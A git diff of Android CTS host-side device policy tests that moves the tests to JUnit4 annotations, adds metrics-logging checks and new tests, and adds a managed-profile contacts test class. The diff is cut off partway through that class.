+ executeDeviceTestMethod(".AdminActionBookkeepingTest", "testRetrieveSecurityLogs");
+ }, new DevicePolicyEventWrapper.Builder(EventId.RETRIEVE_SECURITY_LOGS_VALUE)
.setAdminPackageName(DEVICE_OWNER_PKG)
.build(),
- new DevicePolicyEventWrapper.Builder(EventId.RETRIEVE_PRE_REBOOT_SECURITY_LOGS_VALUE)
+ new DevicePolicyEventWrapper.Builder(
+ EventId.RETRIEVE_PRE_REBOOT_SECURITY_LOGS_VALUE)
.setAdminPackageName(DEVICE_OWNER_PKG)
.build());
- assertMetricsLogged(getDevice(), () -> {
- executeDeviceTestMethod(".AdminActionBookkeepingTest", "testRequestBugreport");
- }, new DevicePolicyEventWrapper.Builder(EventId.REQUEST_BUGREPORT_VALUE)
- .setAdminPackageName(DEVICE_OWNER_PKG)
- .build());
+ assertMetricsLogged(getDevice(), () -> {
+ executeDeviceTestMethod(".AdminActionBookkeepingTest", "testRequestBugreport");
+ }, new DevicePolicyEventWrapper.Builder(EventId.REQUEST_BUGREPORT_VALUE)
+ .setAdminPackageName(DEVICE_OWNER_PKG)
+ .build());
+ }
}
+ @Test
public void testBluetoothRestriction() throws Exception {
if (!mHasFeature) {
return;
@@ -729,6 +774,7 @@
executeDeviceOwnerTest("BluetoothRestrictionTest");
}
+ @Test
public void testSetTime() throws Exception {
if (!mHasFeature) {
return;
@@ -736,6 +782,15 @@
executeDeviceOwnerTest("SetTimeTest");
}
+ @Test
+ public void testSetLocationEnabled() throws Exception {
+ if (!mHasFeature) {
+ return;
+ }
+ executeDeviceOwnerTest("SetLocationEnabledTest");
+ }
+
+ @Test
public void testDeviceOwnerProvisioning() throws Exception {
if (!mHasFeature) {
return;
@@ -743,6 +798,7 @@
executeDeviceOwnerTest("DeviceOwnerProvisioningTest");
}
+ @Test
public void testDisallowFactoryReset() throws Exception {
if (!mHasFeature) {
return;
@@ -765,6 +821,7 @@
}
}
+ @Test
public void testBackupServiceEnabling() throws Exception {
final boolean hasBackupService = getDevice().hasFeature(FEATURE_BACKUP);
// The backup service cannot be enabled if the backup feature is not supported.
@@ -775,6 +832,7 @@
"testEnablingAndDisablingBackupService");
}
+ @Test
public void testDeviceOwnerCanGetDeviceIdentifiers() throws Exception {
// The Device Owner should have access to all device identifiers.
if (!mHasFeature) {
@@ -784,6 +842,7 @@
"testDeviceOwnerCanGetDeviceIdentifiersWithPermission");
}
+ @Test
public void testDeviceOwnerCannotGetDeviceIdentifiersWithoutPermission() throws Exception {
// The Device Owner must have the READ_PHONE_STATE permission to get access to the device
// identifiers.
@@ -798,11 +857,12 @@
"testDeviceOwnerCannotGetDeviceIdentifiersWithoutPermission");
}
+ @Test
public void testPackageInstallCache() throws Exception {
if (!mHasFeature) {
return;
}
- CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
+ CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(getBuild());
final File apk = buildHelper.getTestFile(TEST_APP_APK);
try {
getDevice().uninstallPackage(TEST_APP_PKG);
@@ -841,12 +901,14 @@
}
}
+ @LargeTest
+ @Test
public void testPackageInstallCache_multiUser() throws Exception {
if (!mHasFeature || !canCreateAdditionalUsers(1)) {
return;
}
final int userId = createAffiliatedSecondaryUser();
- CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
+ CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(getBuild());
final File apk = buildHelper.getTestFile(TEST_APP_APK);
try {
getDevice().uninstallPackage(TEST_APP_PKG);
@@ -896,6 +958,7 @@
}
}
+ @Test
public void testAirplaneModeRestriction() throws Exception {
if (!mHasFeature) {
return;
@@ -903,6 +966,7 @@
executeDeviceOwnerTest("AirplaneModeRestrictionTest");
}
+ @Test
public void testOverrideApn() throws Exception {
if (!mHasFeature || !hasDeviceFeature("android.hardware.telephony")) {
return;
@@ -910,6 +974,8 @@
executeDeviceOwnerTest("OverrideApnTest");
}
+ @FlakyTest(bugId = 134487729)
+ @Test
public void testPrivateDnsPolicy() throws Exception {
if (!mHasFeature) {
return;
@@ -917,6 +983,7 @@
executeDeviceOwnerTest("PrivateDnsPolicyTest");
}
+ @Test
public void testInstallUpdate() throws Exception {
if (!mHasFeature) {
return;
@@ -930,8 +997,9 @@
executeDeviceOwnerTest("InstallUpdateTest");
}
+ @Test
public void testInstallUpdateLogged() throws Exception {
- if (!mHasFeature || !isDeviceAb()) {
+ if (!mHasFeature || !isDeviceAb() || !isStatsdEnabled(getDevice())) {
return;
}
pushUpdateFileToDevice("wrongHash.zip");
@@ -964,8 +1032,9 @@
file.delete();
}
+ @Test
public void testSetKeyguardDisabledLogged() throws Exception {
- if (!mHasFeature) {
+ if (!mHasFeature || !isStatsdEnabled(getDevice())) {
return;
}
assertMetricsLogged(getDevice(), () -> {
@@ -975,8 +1044,9 @@
.build());
}
+ @Test
public void testSetStatusBarDisabledLogged() throws Exception {
- if (!mHasFeature) {
+ if (!mHasFeature || !isStatsdEnabled(getDevice())) {
return;
}
assertMetricsLogged(getDevice(), () -> {
@@ -991,6 +1061,7 @@
.build());
}
+ @Test
public void testNoHiddenActivityFoundTest() throws Exception {
if (!mHasFeature) {
return;
@@ -1015,6 +1086,31 @@
}
}
+ @Test
+ public void testSetGlobalSettingLogged() throws Exception {
+ if (!mHasFeature) {
+ return;
+ }
+ assertMetricsLogged(getDevice(), () -> {
+ executeDeviceTestMethod(".DevicePolicyLoggingTest", "testSetGlobalSettingLogged");
+ }, new DevicePolicyEventWrapper.Builder(EventId.SET_GLOBAL_SETTING_VALUE)
+ .setAdminPackageName(DEVICE_OWNER_PKG)
+ .setStrings(GLOBAL_SETTING_AUTO_TIME, "1")
+ .build(),
+ new DevicePolicyEventWrapper.Builder(EventId.SET_GLOBAL_SETTING_VALUE)
+ .setAdminPackageName(DEVICE_OWNER_PKG)
+ .setStrings(GLOBAL_SETTING_AUTO_TIME_ZONE, "1")
+ .build(),
+ new DevicePolicyEventWrapper.Builder(EventId.SET_GLOBAL_SETTING_VALUE)
+ .setAdminPackageName(DEVICE_OWNER_PKG)
+ .setStrings(GLOBAL_SETTING_DATA_ROAMING, "1")
+ .build(),
+ new DevicePolicyEventWrapper.Builder(EventId.SET_GLOBAL_SETTING_VALUE)
+ .setAdminPackageName(DEVICE_OWNER_PKG)
+ .setStrings(GLOBAL_SETTING_USB_MASS_STORAGE_ENABLED, "1")
+ .build());
+ }
+
private void executeDeviceOwnerTest(String testClassName) throws Exception {
if (!mHasFeature) {
return;
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DevicePlusProfileOwnerHostSideTransferTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DevicePlusProfileOwnerHostSideTransferTest.java
index d941316..9174466 100755
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DevicePlusProfileOwnerHostSideTransferTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DevicePlusProfileOwnerHostSideTransferTest.java
@@ -1,5 +1,7 @@
package com.android.cts.devicepolicy;
+import static org.junit.Assert.fail;
+
import android.util.Log;
/**
@@ -15,7 +17,7 @@
extends DeviceAndProfileOwnerHostSideTransferTest {
@Override
- protected void setUp() throws Exception {
+ public void setUp() throws Exception {
super.setUp();
// We need managed users to be supported in order to create a profile of the user owner.
mHasFeature &= hasDeviceFeature("android.software.managed_users");
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/EphemeralUserTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/EphemeralUserTest.java
index 84bdd7d..c7a2ae6 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/EphemeralUserTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/EphemeralUserTest.java
@@ -16,24 +16,30 @@
package com.android.cts.devicepolicy;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import org.junit.Test;
+
/**
* Tests for ephemeral users and profiles.
*/
public class EphemeralUserTest extends BaseDevicePolicyTest {
@Override
- protected void setUp() throws Exception {
+ public void setUp() throws Exception {
super.setUp();
mHasFeature = canCreateAdditionalUsers(1);
}
@Override
- protected void tearDown() throws Exception {
+ public void tearDown() throws Exception {
removeTestUsers();
super.tearDown();
}
/** The user should have the ephemeral flag set if it was created as ephemeral. */
+ @Test
public void testCreateEphemeralUser() throws Exception {
if (!mHasFeature) {
return;
@@ -44,6 +50,7 @@
}
/** The user should not have the ephemeral flag set if it was not created as ephemeral. */
+ @Test
public void testCreateLongLivedUser() throws Exception {
if (!mHasFeature) {
return;
@@ -57,6 +64,7 @@
* The profile should have the ephemeral flag set automatically if its parent user is
* ephemeral.
*/
+ @Test
public void testProfileInheritsEphemeral() throws Exception {
if (!mHasFeature || !hasDeviceFeature("android.software.managed_users")
|| !canCreateAdditionalUsers(2)
@@ -72,6 +80,7 @@
/**
* Ephemeral user should be automatically removed after it is stopped.
*/
+ @Test
public void testRemoveEphemeralOnStop() throws Exception {
if (!mHasFeature) {
return;
@@ -87,6 +96,7 @@
* The guest should be automatically created ephemeral when the ephemeral-guest feature is set
* and not ephemeral when the feature is not set.
*/
+ @Test
public void testEphemeralGuestFeature() throws Exception {
if (!mHasFeature) {
return;
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsMultiUserTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsMultiUserTest.java
index 8ae7184..5c5438b 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsMultiUserTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsMultiUserTest.java
@@ -16,9 +16,7 @@
package com.android.cts.devicepolicy;
-import com.android.ddmlib.Log.LogLevel;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.log.LogUtil.CLog;
+import org.junit.Test;
import java.util.Collections;
@@ -34,7 +32,7 @@
private boolean mMultiUserSupported;
@Override
- protected void setUp() throws Exception {
+ public void setUp() throws Exception {
super.setUp();
// We need multi user to be supported in order to create a secondary user
// and api level 21 to support LauncherApps
@@ -52,7 +50,7 @@
}
@Override
- protected void tearDown() throws Exception {
+ public void tearDown() throws Exception {
if (mMultiUserSupported) {
removeUser(mSecondaryUserId);
uninstallTestApps();
@@ -60,6 +58,7 @@
super.tearDown();
}
+ @Test
public void testGetActivitiesForNonProfileFails() throws Exception {
if (!mMultiUserSupported) {
return;
@@ -72,6 +71,7 @@
Collections.singletonMap(PARAM_TEST_USER, mSecondaryUserSerialNumber));
}
+ @Test
public void testNoLauncherCallbackPackageAddedSecondaryUser() throws Exception {
if (!mMultiUserSupported) {
return;
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsProfileTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsProfileTest.java
index f8a78f0..c4618ee 100755
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsProfileTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsProfileTest.java
@@ -16,10 +16,12 @@
package com.android.cts.devicepolicy;
-import com.android.ddmlib.Log.LogLevel;
-import com.android.tradefed.device.DeviceNotAvailableException;
+import android.platform.test.annotations.FlakyTest;
+
import com.android.tradefed.log.LogUtil.CLog;
+import org.junit.Test;
+
import java.util.Collections;
/**
@@ -40,7 +42,7 @@
private String mMainUserSerialNumber;
@Override
- protected void setUp() throws Exception {
+ public void setUp() throws Exception {
super.setUp();
mHasFeature = mHasFeature && hasDeviceFeature("android.software.managed_users");
if (mHasFeature) {
@@ -61,7 +63,7 @@
}
@Override
- protected void tearDown() throws Exception {
+ public void tearDown() throws Exception {
if (mHasFeature) {
removeUser(mProfileUserId);
uninstallTestApps();
@@ -70,6 +72,7 @@
super.tearDown();
}
+ @Test
public void testGetActivitiesWithProfile() throws Exception {
if (!mHasFeature) {
return;
@@ -105,6 +108,7 @@
mProfileUserId);
}
+ @Test
public void testProfileOwnerAppHiddenInPrimaryProfile() throws Exception {
if (!mHasFeature) {
return;
@@ -117,6 +121,7 @@
mParentUserId, Collections.singletonMap(PARAM_TEST_USER, mMainUserSerialNumber));
}
+ @Test
public void testNoHiddenActivityInProfile() throws Exception {
if (!mHasFeature) {
return;
@@ -134,6 +139,8 @@
mParentUserId, Collections.singletonMap(PARAM_TEST_USER, mMainUserSerialNumber));
}
+ @FlakyTest
+ @Test
public void testLauncherCallbackPackageAddedProfile() throws Exception {
if (!mHasFeature) {
return;
@@ -146,6 +153,8 @@
mParentUserId, Collections.singletonMap(PARAM_TEST_USER, mProfileSerialNumber));
}
+ @FlakyTest
+ @Test
public void testLauncherCallbackPackageRemovedProfile() throws Exception {
if (!mHasFeature) {
return;
@@ -159,6 +168,8 @@
mParentUserId, Collections.singletonMap(PARAM_TEST_USER, mProfileSerialNumber));
}
+ @FlakyTest
+ @Test
public void testLauncherCallbackPackageChangedProfile() throws Exception {
if (!mHasFeature) {
return;
@@ -173,6 +184,7 @@
mParentUserId, Collections.singletonMap(PARAM_TEST_USER, mProfileSerialNumber));
}
+ @Test
public void testReverseAccessNoThrow() throws Exception {
if (!mHasFeature) {
return;
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsSingleUserTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsSingleUserTest.java
index 5d67a46..05a0157 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsSingleUserTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsSingleUserTest.java
@@ -16,9 +16,9 @@
package com.android.cts.devicepolicy;
-import com.android.ddmlib.Log.LogLevel;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.log.LogUtil.CLog;
+import android.platform.test.annotations.FlakyTest;
+
+import org.junit.Test;
import java.util.Collections;
@@ -32,7 +32,7 @@
private int mCurrentUserId;
@Override
- protected void setUp() throws Exception {
+ public void setUp() throws Exception {
super.setUp();
mHasLauncherApps = getDevice().getApiLevel() >= 21;
@@ -45,13 +45,14 @@
}
@Override
- protected void tearDown() throws Exception {
+ public void tearDown() throws Exception {
if (mHasLauncherApps) {
uninstallTestApps();
}
super.tearDown();
}
+ @Test
public void testInstallAppMainUser() throws Exception {
if (!mHasLauncherApps) {
return;
@@ -62,6 +63,8 @@
mCurrentUserId, Collections.singletonMap(PARAM_TEST_USER, mSerialNumber));
}
+ @FlakyTest
+ @Test
public void testLauncherCallbackPackageAddedMainUser() throws Exception {
if (!mHasLauncherApps) {
return;
@@ -75,6 +78,8 @@
mCurrentUserId, Collections.singletonMap(PARAM_TEST_USER, mSerialNumber));
}
+ @FlakyTest
+ @Test
public void testLauncherCallbackPackageRemovedMainUser() throws Exception {
if (!mHasLauncherApps) {
return;
@@ -88,6 +93,8 @@
mCurrentUserId, Collections.singletonMap(PARAM_TEST_USER, mSerialNumber));
}
+ @FlakyTest
+ @Test
public void testLauncherCallbackPackageChangedMainUser() throws Exception {
if (!mHasLauncherApps) {
return;
@@ -101,6 +108,7 @@
mCurrentUserId, Collections.singletonMap(PARAM_TEST_USER, mSerialNumber));
}
+ @Test
public void testLauncherNonExportedAppFails() throws Exception {
if (!mHasLauncherApps) {
return;
@@ -111,6 +119,7 @@
mCurrentUserId, Collections.singletonMap(PARAM_TEST_USER, mSerialNumber));
}
+ @Test
public void testLaunchNonExportActivityFails() throws Exception {
if (!mHasLauncherApps) {
return;
@@ -121,6 +130,7 @@
mCurrentUserId, Collections.singletonMap(PARAM_TEST_USER, mSerialNumber));
}
+ @Test
public void testLaunchMainActivity() throws Exception {
if (!mHasLauncherApps) {
return;
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LimitAppIconHidingTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LimitAppIconHidingTest.java
index fa92065..0ff9430 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LimitAppIconHidingTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LimitAppIconHidingTest.java
@@ -16,6 +16,8 @@
package com.android.cts.devicepolicy;
+import org.junit.Test;
+
import java.util.Collections;
/**
@@ -35,7 +37,7 @@
private int mCurrentUserId;
@Override
- protected void setUp() throws Exception {
+ public void setUp() throws Exception {
super.setUp();
mHasLauncherApps = getDevice().getApiLevel() >= 21;
@@ -48,7 +50,7 @@
}
@Override
- protected void tearDown() throws Exception {
+ public void tearDown() throws Exception {
if (mHasLauncherApps) {
uninstallTestApps();
}
@@ -71,6 +73,7 @@
getDevice().uninstallPackage(LAUNCHER_TESTS_HAS_LAUNCHER_ACTIVITY_APK);
}
+ @Test
public void testHasLauncherActivityAppHasAppDetailsActivityInjected() throws Exception {
if (!mHasLauncherApps) {
return;
@@ -80,6 +83,7 @@
mCurrentUserId, Collections.singletonMap(PARAM_TEST_USER, mSerialNumber));
}
+ @Test
public void testNoSystemAppHasSyntheticAppDetailsActivityInjected() throws Exception {
if (!mHasLauncherApps) {
return;
@@ -89,6 +93,7 @@
mCurrentUserId, Collections.singletonMap(PARAM_TEST_USER, mSerialNumber));
}
+ @Test
public void testNoLauncherActivityAppNotInjected() throws Exception {
if (!mHasLauncherApps) {
return;
@@ -98,6 +103,7 @@
mCurrentUserId, Collections.singletonMap(PARAM_TEST_USER, mSerialNumber));
}
+ @Test
public void testNoPermissionAppNotInjected() throws Exception {
if (!mHasLauncherApps) {
return;
@@ -107,6 +113,7 @@
mCurrentUserId, Collections.singletonMap(PARAM_TEST_USER, mSerialNumber));
}
+ @Test
public void testGetSetSyntheticAppDetailsActivityEnabled() throws Exception {
if (!mHasLauncherApps) {
return;
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileContactsTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileContactsTest.java
new file mode 100644
index 0000000..2ed1e30
--- /dev/null
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileContactsTest.java
@@ -0,0 +1,425 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.devicepolicy;
+
+import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.assertMetricsLogged;
+import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.isStatsdEnabled;
+
+import android.platform.test.annotations.FlakyTest;
+import android.platform.test.annotations.LargeTest;
+import android.stats.devicepolicy.EventId;
+
+import com.android.cts.devicepolicy.metrics.DevicePolicyEventWrapper;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.log.LogUtil;
+
+import org.junit.Test;
+
+import java.util.concurrent.Callable;
+
+public class ManagedProfileContactsTest extends BaseManagedProfileTest {
+ private static final String DIRECTORY_PROVIDER_APK = "CtsContactDirectoryProvider.apk";
+ private static final String DIRECTORY_PROVIDER_PKG
+ = "com.android.cts.contactdirectoryprovider";
+ private static final String PRIMARY_DIRECTORY_PREFIX = "Primary";
+ private static final String MANAGED_DIRECTORY_PREFIX = "Managed";
+ private static final String DIRECTORY_PRIVOIDER_URI
+ = "content://com.android.cts.contact.directory.provider/";
+ private static final String SET_CUSTOM_DIRECTORY_PREFIX_METHOD = "set_prefix";
+
+ @LargeTest
+ @Test
+ public void testManagedContactsUris() throws Exception {
+ runManagedContactsTest(() -> {
+ ContactsTestSet contactsTestSet = new ContactsTestSet(ManagedProfileContactsTest.this,
+ MANAGED_PROFILE_PKG, mParentUserId, mProfileUserId);
+
+ contactsTestSet.setCallerIdEnabled(true);
+ contactsTestSet.setContactsSearchEnabled(true);
+ contactsTestSet.checkIfCanLookupEnterpriseContacts(true);
+ contactsTestSet.checkIfCanFilterEnterpriseContacts(true);
+ contactsTestSet.checkIfCanFilterSelfContacts();
+ return null;
+ });
+ }
+
+ @FlakyTest
+ @Test
+ public void testManagedQuickContacts() throws Exception {
+ runManagedContactsTest(() -> {
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ContactsTest",
+ "testQuickContact", mParentUserId);
+ return null;
+ });
+ }
+
+ @FlakyTest
+ @Test
+ public void testManagedContactsPolicies() throws Exception {
+ runManagedContactsTest(() -> {
+ ContactsTestSet contactsTestSet = new ContactsTestSet(ManagedProfileContactsTest.this,
+ MANAGED_PROFILE_PKG, mParentUserId, mProfileUserId);
+ try {
+ contactsTestSet.setCallerIdEnabled(true);
+ contactsTestSet.setContactsSearchEnabled(false);
+ contactsTestSet.checkIfCanLookupEnterpriseContacts(true);
+ contactsTestSet.checkIfCanFilterEnterpriseContacts(false);
+ contactsTestSet.checkIfCanFilterSelfContacts();
+ contactsTestSet.setCallerIdEnabled(false);
+ contactsTestSet.setContactsSearchEnabled(true);
+ contactsTestSet.checkIfCanLookupEnterpriseContacts(false);
+ contactsTestSet.checkIfCanFilterEnterpriseContacts(true);
+ contactsTestSet.checkIfCanFilterSelfContacts();
+ contactsTestSet.setCallerIdEnabled(false);
+ contactsTestSet.setContactsSearchEnabled(false);
+ contactsTestSet.checkIfCanLookupEnterpriseContacts(false);
+ contactsTestSet.checkIfCanFilterEnterpriseContacts(false);
+ contactsTestSet.checkIfCanFilterSelfContacts();
+ contactsTestSet.checkIfNoEnterpriseDirectoryFound();
+ if (isStatsdEnabled(getDevice())) {
+ assertMetricsLogged(getDevice(), () -> {
+ contactsTestSet.setCallerIdEnabled(true);
+ contactsTestSet.setCallerIdEnabled(false);
+ }, new DevicePolicyEventWrapper
+ .Builder(EventId.SET_CROSS_PROFILE_CALLER_ID_DISABLED_VALUE)
+ .setAdminPackageName(MANAGED_PROFILE_PKG)
+ .setBoolean(false)
+ .build(),
+ new DevicePolicyEventWrapper
+ .Builder(EventId.SET_CROSS_PROFILE_CALLER_ID_DISABLED_VALUE)
+ .setAdminPackageName(MANAGED_PROFILE_PKG)
+ .setBoolean(true)
+ .build());
+ assertMetricsLogged(getDevice(), () -> {
+ contactsTestSet.setContactsSearchEnabled(true);
+ contactsTestSet.setContactsSearchEnabled(false);
+ }, new DevicePolicyEventWrapper
+ .Builder(EventId.SET_CROSS_PROFILE_CONTACTS_SEARCH_DISABLED_VALUE)
+ .setAdminPackageName(MANAGED_PROFILE_PKG)
+ .setBoolean(false)
+ .build(),
+ new DevicePolicyEventWrapper
+ .Builder(
+ EventId.SET_CROSS_PROFILE_CONTACTS_SEARCH_DISABLED_VALUE)
+ .setAdminPackageName(MANAGED_PROFILE_PKG)
+ .setBoolean(true)
+ .build());
+ }
+ return null;
+ } finally {
+ // reset policies
+ contactsTestSet.setCallerIdEnabled(true);
+ contactsTestSet.setContactsSearchEnabled(true);
+ }
+ });
+ }
+
+ private void setDirectoryPrefix(String directoryName, int userId)
+ throws DeviceNotAvailableException {
+ String command = "content call --uri " + DIRECTORY_PRIVOIDER_URI
+ + " --user " + userId
+ + " --method " + SET_CUSTOM_DIRECTORY_PREFIX_METHOD
+ + " --arg " + directoryName;
+ LogUtil.CLog.d("Output for command " + command + ": "
+ + getDevice().executeShellCommand(command));
+ }
+
+ private void runManagedContactsTest(Callable<Void> callable) throws Exception {
+ if (!mHasFeature) {
+ return;
+ }
+
+ try {
+ // Allow cross profile contacts search.
+ // TODO test both on and off.
+ getDevice().executeShellCommand(
+ "settings put --user " + mProfileUserId
+ + " secure managed_profile_contact_remote_search 1");
+
+ // Add test account
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ContactsTest",
+ "testAddTestAccount", mParentUserId);
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ContactsTest",
+ "testAddTestAccount", mProfileUserId);
+
+ // Install directory provider to both primary and managed profile
+ installAppAsUser(DIRECTORY_PROVIDER_APK, USER_ALL);
+ setDirectoryPrefix(PRIMARY_DIRECTORY_PREFIX, mParentUserId);
+ setDirectoryPrefix(MANAGED_DIRECTORY_PREFIX, mProfileUserId);
+
+ // Check enterprise directory API works
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ContactsTest",
+ "testGetDirectoryListInPrimaryProfile", mParentUserId);
+
+ // Insert Primary profile Contacts
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ContactsTest",
+ "testPrimaryProfilePhoneAndEmailLookup_insertedAndfound", mParentUserId);
+ // Insert Managed profile Contacts
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ContactsTest",
+ "testManagedProfilePhoneAndEmailLookup_insertedAndfound", mProfileUserId);
+ // Insert a primary contact with same phone & email as other
+ // enterprise contacts
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ContactsTest",
+ "testPrimaryProfileDuplicatedPhoneEmailContact_insertedAndfound",
+ mParentUserId);
+ // Insert a enterprise contact with same phone & email as other
+ // primary contacts
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ContactsTest",
+ "testManagedProfileDuplicatedPhoneEmailContact_insertedAndfound",
+ mProfileUserId);
+
+ callable.call();
+
+ } finally {
+ // Clean up in managed profile and primary profile
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ContactsTest",
+ "testCurrentProfileContacts_removeContacts", mProfileUserId);
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ContactsTest",
+ "testCurrentProfileContacts_removeContacts", mParentUserId);
+ getDevice().uninstallPackage(DIRECTORY_PROVIDER_PKG);
+ }
+ }
+
+ /*
+ * Container for running ContactsTest under multi-user environment
+ */
+ private static class ContactsTestSet {
+
+ private ManagedProfileContactsTest mManagedProfileContactsTest;
+ private String mManagedProfilePackage;
+ private int mParentUserId;
+ private int mProfileUserId;
+
+ public ContactsTestSet(ManagedProfileContactsTest managedProfileContactsTest,
+ String managedProfilePackage, int parentUserId, int profileUserId) {
+ mManagedProfileContactsTest = managedProfileContactsTest;
+ mManagedProfilePackage = managedProfilePackage;
+ mParentUserId = parentUserId;
+ mProfileUserId = profileUserId;
+ }
+
+ private void runDeviceTestsAsUser(String pkgName, String testClassName,
+ String testMethodName, Integer userId) throws DeviceNotAvailableException {
+ mManagedProfileContactsTest.runDeviceTestsAsUser(pkgName, testClassName, testMethodName,
+ userId);
+ }
+
+ // Enable / Disable
+ public void setCallerIdEnabled(boolean enabled) throws DeviceNotAvailableException {
+ if (enabled) {
+ runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+ "testSetCrossProfileCallerIdDisabled_false", mProfileUserId);
+ } else {
+ runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+ "testSetCrossProfileCallerIdDisabled_true", mProfileUserId);
+ }
+ }
+
+ // Enable / Disable cross profile contacts search
+ public void setContactsSearchEnabled(boolean enabled) throws DeviceNotAvailableException {
+ if (enabled) {
+ runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+ "testSetCrossProfileContactsSearchDisabled_false", mProfileUserId);
+ } else {
+ runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+ "testSetCrossProfileContactsSearchDisabled_true", mProfileUserId);
+ }
+ }
+
+ public void checkIfCanLookupEnterpriseContacts(boolean expected)
+ throws DeviceNotAvailableException {
+ // Primary user cannot use ordinary phone/email lookup api to access
+ // managed contacts
+ runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+ "testPrimaryProfilePhoneLookup_canNotAccessEnterpriseContact", mParentUserId);
+ runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+ "testPrimaryProfileEmailLookup_canNotAccessEnterpriseContact", mParentUserId);
+ // Primary user can use ENTERPRISE_CONTENT_FILTER_URI to access
+ // primary contacts
+ runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+ "testPrimaryProfileEnterprisePhoneLookup_canAccessPrimaryContact",
+ mParentUserId);
+ runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+ "testPrimaryProfileEnterpriseEmailLookup_canAccessPrimaryContact",
+ mParentUserId);
+ // When there exist contacts with the same phone/email in primary &
+ // enterprise,
+ // primary user can use ENTERPRISE_CONTENT_FILTER_URI to access the
+ // primary contact.
+ runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+ "testPrimaryProfileEnterpriseEmailLookupDuplicated_canAccessPrimaryContact",
+ mParentUserId);
+ runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+ "testPrimaryProfileEnterprisePhoneLookupDuplicated_canAccessPrimaryContact",
+ mParentUserId);
+
+ // Managed user cannot use ordinary phone/email lookup api to access
+ // primary contacts
+ runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+ "testManagedProfilePhoneLookup_canNotAccessPrimaryContact", mProfileUserId);
+ runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+ "testManagedProfileEmailLookup_canNotAccessPrimaryContact", mProfileUserId);
+ // Managed user can use ENTERPRISE_CONTENT_FILTER_URI to access
+ // enterprise contacts
+ runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+ "testManagedProfileEnterprisePhoneLookup_canAccessEnterpriseContact",
+ mProfileUserId);
+ runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
